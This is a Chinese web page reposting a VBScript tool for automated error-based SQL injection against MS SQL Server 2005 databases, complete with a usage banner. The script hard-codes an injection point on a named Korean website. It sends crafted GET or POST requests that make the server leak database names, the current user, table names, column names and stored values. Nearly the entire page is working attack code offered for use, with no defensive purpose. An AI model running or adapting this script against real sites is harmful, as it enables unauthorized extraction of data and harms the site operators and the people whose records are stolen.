首页数据库Sql2005注射辅助脚本[粗糙版]

Sql2005注射辅助脚本[粗糙版]

时间2024-02-28 22:05:03发布访客分类数据库浏览979
导读:收集整理的这篇文章主要介绍了Sql2005注射辅助脚本[粗糙版],觉得挺不错的,现在分享给大家,也给大家做个参考。 作者:Tr4c3 '为了保持脚本的通用性,放弃了 and (selec...
收集整理的这篇文章主要介绍了Sql2005注射辅助脚本[粗糙版],觉得挺不错的,现在分享给大家,也给大家做个参考。 作者:Tr4c3
'为了保持脚本的通用性,放弃了 and (select col_name(object_id('TableName'),N))=0这样的用法。
'欲返回韩文等字符可修改121或者136行,更多的设置要自己修改
'更多功能请大家自己加入

Const method = "Get" '提交方式请修改此处,有get和post可选
Const Display = "D" 'S 保存到文件,D输出到屏幕

Dim strUrl_B, strUrl, i, k, MyArray, strarg, strD

strUrl_B = "http://onedu.mk.co.kr/02_PRocess/cata1_2.asp?kwajung_code=120'" '基于注射点的不确定性,此处请手工更改
i = 1 '库的基数
k = 0 '表和字段的基数
MyArray = SplIT(strUrl_B, "?", -1, 1)
strUrl = MyArray(0) '取url
strArg = MyArray(1) '取参数
Set Args = Wscript.arguments

If Args.Count = 0 Then
ShowU
End If
'If Args.Count =1 And LCase(Args(0))

'************************************************************************
' 爆库 
'************************************************************************
If Args.Count =1 Then
If LCase(Trim(Args(0)))="databases" Then
ResuT("---------------===============================--------------")
ResuT("All The DataBases:")

Do
strData = " and quotename(db_name("& i& "))=0--"
SQLInj(strData)
i = i + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
Elseif LCase(Trim(Args(0)))= "info" then
ResuT("---------------===============================--------------")
ResuT("The current Database is:")
strData = " and quotename(db_name())=0--"
sqlInj(strData)
ResuT("---------------===============================--------------")
ResuT("The database User is:")
strData = " and quotename(user)=0--"
sqlInj(strData)
ResuT("---------------===============================--------------")
ResuT("The System_user is:")
strData = " and quotename(System_user)=0--"
sqlInj(strData)
ResuT("---------------===============================--------------")
Wscript.Quit
End If
End If
'************************************************************************
' 爆表 
'************************************************************************
If Args.Count=2 And LCase(Trim(Args(1)))="tables" Then
ResuT("---------------===============================--------------")
ResuT("The Tables Of " &  Args(0))
Do
strData = " and (select top 1 quotename(name) From "&  Args(0) &  ".dbo.sysobjects where xtyPE=char(85) AND name not in (select top "&  k & " name from "& Args(0)& ".dbo.sysobjects where xtype=char(85)))=0--"
sqlInj(strData)
k = k + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
End If

'************************************************************************
' 爆字段 
'************************************************************************
If Args.Count=3 And LCase(Trim(Args(2)))="cols" Then
Database = Args(0)
Table = Args(1)
TarGet = DataBase &  ".dbo." &  Table
TarGetCol = Database &  ".DBO.SYSCOLUMNS"
ResuT("---------------===============================--------------")
ResuT("The Columns Of " &  TarGet)
Do
strData = " and (select top 1 Quotename(name) from "&  TarGetCol & " where id=object_id('"&  TarGet & "') and name not in (select top "& k& " name from "&  TarGetCol & " where id=object_id('"&  TarGet & "')))=0--"
sqlInj(strData)
k = k + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
End If

'************************************************************************
' 爆字段值 
'************************************************************************
If Args.Count=4 And LCase(Trim(Args(3)))="values" Then
Database = Args(0)
Table = Args(1)
col = Args(2)
Target = Database &  ".dbo." &  Table 
ResuT("---------------===============================--------------")
ResuT("The Values Of " &  Args(2) &  " in "& Target)
Do
strData = " and (select top 1 quotename("&  col & ") from "&  Target &  " where "&  col & " not in (select top "&  k & " "&  col & " from "&  Target & "))=0--"
sqlInj(strData)
k = k + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
End If

Sub SqlInj(value)
If UCase(method) = "GET" Then
value = strArg &  value
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "GET", strUrl & "?" &  value , False
objXML.SetRequestHeader "Referer", strUrl
'objXML.SetRequestHeader "Accept-Language", "EUC-KR"
objXML.send()
strrevS = objXML.ResponseText '默认用这个
'strRevS = bytes2BSTR(objXML.ResponseBody) '韩文有时候要用这个
If InStr(strRevS,"'[")> 0 And InStr(strRevs,"]'")> 0 Then
strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2)
ResuT(" |_"& strD)
Else
strD = ""
End If
ElseIf UCase(method) = "POST" Then
value = strArg &  value
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "POST", strUrl, False
objXML.SetRequestHeader "Content-type", "application/x-www-form-urlencoded"
objXML.SetRequestHeader "Referer", strUrl
objXML.send(UrlEncode(value))
strRevS = objXML.ResponseText '默认用这个
'strRevS = bytes2BSTR(objXML.ResponseBody) '韩文有时候要用这个
If InStr(strRevS,"'[")> 0 And InStr(strRevs,"]'")> 0 Then
strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2)
ResuT(" |_"& strD)
Else
strD = ""
End If
End If
End Sub

Function ResuT(strInfo)
If UCase(DisPlay) = "S" Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set fso1 = fso.OpenTextFile("result.txt",8,True)
fso1.WriteLine(strInfo)
fso1.Close
Set fso = Nothing
ElseIf UCase(DisPlay) = "D" Then
Wscript.Echo(strInfo)
End If
End Function

Function UrlEncode(str)
str = Replace(str," ","+")
UrlEncode = str
End Function

Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode  & H80 Then
strReturn = strReturn &  Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn &  Chr(CLng(ThisCharCode) * & h100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function

Sub showU()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("Sql2005注射辅助脚本(粗糙版),用于mssql显错模式 By Tr4c3[at]126[Dot]com")
.Echo("usage:")
.Echo(" cscript"& .ScriptName& " info--爆基本信息")
.Echo(" cscript"& .ScriptName& " databases--爆所有库名")
.Echo(" cscript"& .ScriptName& " pubs tables--爆库pubs里所有用户表名")
.Echo(" cscript"& .ScriptName& " pubs authors cols--爆库pubs里authors表的所有字段名")
.Echo(" cscript"& .ScriptName& " pubs authors au_id values--爆pubs.dbo.authors里au_id的值")
.Echo("+--------------------------=====================------------------------------+")
.Quit
End with
End Sub

声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!


若转载请注明出处: Sql2005注射辅助脚本[粗糙版]
本文地址: https://pptw.com/jishu/632002.html
MS-sql 2005拒绝了对对象 'xxx' (数据库 'xxx',架构 'dbo')的 SELECT 权限的解决方法 MSSQL2005数据库备份导入MSSQL2000

游客 回复需填写必要信息